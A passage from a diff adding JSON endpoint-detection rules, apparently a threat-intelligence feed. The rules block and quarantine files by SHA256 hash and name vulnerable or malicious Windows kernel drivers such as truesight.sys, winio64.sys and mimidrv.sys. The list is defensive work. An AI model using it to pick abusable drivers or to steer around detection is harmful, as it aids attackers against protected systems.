+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827122Z",
+  "creation_date": "2026-03-23T11:45:31.827124Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827129Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dac13ca91fa4f17531ce45e45bccec7002fdbe06e98024dcc381c776597e71f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "268a1631-c5d7-546a-8b22-f8ba5bc4be4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819708Z",
+  "creation_date": "2026-03-23T11:45:30.819710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819716Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7c90cf3fdbbd2f40fe6a39ad0bb2a9a97a0416354ea84db3aeff6d925d14df8",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "268fa52c-572f-523f-8362-1f082a70d4a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142290Z",
+  "creation_date": "2026-03-23T11:45:31.142292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc9a724d6d780f8ee8f7886d76af56c468d8f07ddaf73cbcdbe81c31a1dca48e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2696f880-975a-59b7-9a6c-49640b758c08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476015Z",
+  "creation_date": "2026-03-23T11:45:30.476019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4cd80f4e33b713570f6a16b9f77679efa45a466737e41db45b41924e7d7caef4",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26972ca1-43f9-59bf-a417-675280ad5003",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467122Z",
+  "creation_date": "2026-03-23T11:45:30.467125Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467134Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7af0efdd72c68fdd105bb73be148ab7bf78a157cb1b241a85362a5bc5da91bd8",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26a6443a-f007-57ff-9d69-cc9cb00469ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489428Z",
+  "creation_date": "2026-03-23T11:45:31.489431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "772d31d79540f53faf5ed28a387cc99e23407ab295d3693851fe965636c78e43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26aaf21a-8cd9-50e0-a94b-2e70e4581ad1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811814Z",
+  "creation_date": "2026-03-23T11:45:31.811816Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "efc3f6440458ec128e330625cf51b5bda7b263d0e5e1cfef9afd30d72a9e73f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26b2151d-ada0-5833-ac6e-1bf1c701dd67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493435Z",
+  "creation_date": "2026-03-23T11:45:31.493437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493442Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03390ac3179dc0e5ab229aef1a92432fc1ffe9df1071b03428ca1a79e86ff8f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26b45be2-6bf6-5870-8a3e-0309852fabbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140944Z",
+  "creation_date": "2026-03-23T11:45:31.140954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140960Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d8efa46efdfdfc8f675d8c6e3a7e51e07ae18d12494eedd73bb6baf557fef30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26c36caf-918e-5c49-824c-6d2190f00e86",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142417Z",
+  "creation_date": "2026-03-23T11:45:31.142419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142424Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd8d5c2713d271898bbd78a5e0abf8986ae9c13745f825b3930c2ada5471f3d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26c50bb7-0e62-581c-b0f7-29f04cb44a27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832497Z",
+  "creation_date": "2026-03-23T11:45:30.832499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832504Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7265f79ec6c42608f45fdf76ad40036961cd4f2dc363c4be17945072b609d584",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26cc6f6a-c6a1-5e5c-b663-93b9bdfb420c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820670Z",
+  "creation_date": "2026-03-23T11:45:31.820673Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "721355b5059f9d9848904d7e5aefd6699894572e124b64eefd7e85e24d4718e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26d63f78-52d9-5f3f-9472-18070b6219f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619648Z",
+  "creation_date": "2026-03-23T11:45:29.619650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8430bdc6fd01f42217d66d87a3ef6f66cb2700ebb39c4f25c8b851858cc4b35",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26dcffe7-19fa-5ecf-a693-d01afd4d363c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472583Z",
+  "creation_date": "2026-03-23T11:45:31.472586Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aaf2de85b1b2273e7c8219501fb64d3a2e619482886f44943cf0a08249a9ad08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26e9eaca-e011-5b8c-9dcf-3d55a3bba399",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982325Z",
+  "creation_date": "2026-03-23T11:45:29.982327Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1980c6592e6d2d92c1a65acad8f1071b6a404097bb6fcce494f3c8ac31385cf",
+  "comment": "Vulnerable Kernel Driver (aka winio64.sys) [https://www.loldrivers.io/drivers/1ff757df-9a40-4f78-a28a-64830440abf7/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26eaa7ee-31ce-52da-9788-6487b7853f37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480451Z",
+  "creation_date": "2026-03-23T11:45:30.480453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480458Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6d1ee0455068b74cf537388c874acb335382876aa9d74586efb05d6cc362ae5",
+  "comment": "Vulnerable Kernel Driver (aka GtcKmdfBs.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26edeed9-0339-5a3e-bd71-040559cebecd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819544Z",
+  "creation_date": "2026-03-23T11:45:31.819547Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819556Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0bda209a54ce2eefdee85a78d7ef74c6895df59d61491e61b8955792fbf00cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "26f04b06-51e1-59a2-ab5e-d0788f75290a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156586Z",
+  "creation_date": "2026-03-23T11:45:31.156588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e18fb11eb435c9b2ebd3bf0798bf5e82c2d48c225e51a2f21190c36f94b32337",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "271bb663-62ed-53d7-902b-a7f7fcfc2c4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494492Z",
+  "creation_date": "2026-03-23T11:45:31.494494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ca6e8b9f468bb37760c53e11323052fe506f4290a4bae5d4a3ff6c59338bb6c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "271eb340-7270-57d5-96ac-ec1108392ce3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148060Z",
+  "creation_date": "2026-03-23T11:45:31.148062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46fbac19393a95999b24bab3d0f6fa027781ece014aeb09197d2968b0b260a0b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27283ed3-7201-5b9f-b086-f0c766515683",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463942Z",
+  "creation_date": "2026-03-23T11:45:30.463952Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463961Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8684aec77b4c3cafc1a6594de7e95695fa698625d4206a6c4b201875f76a5b38",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "272f120e-e794-507d-93d3-da9e49da91c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826999Z",
+  "creation_date": "2026-03-23T11:45:30.827001Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e88fa4916eb1c2c5dede1a8a3ce2b868e6ed28b845c05694e54c136ab9a9fcc5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "27536930-523c-51ee-b6fe-09db02f7ceb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
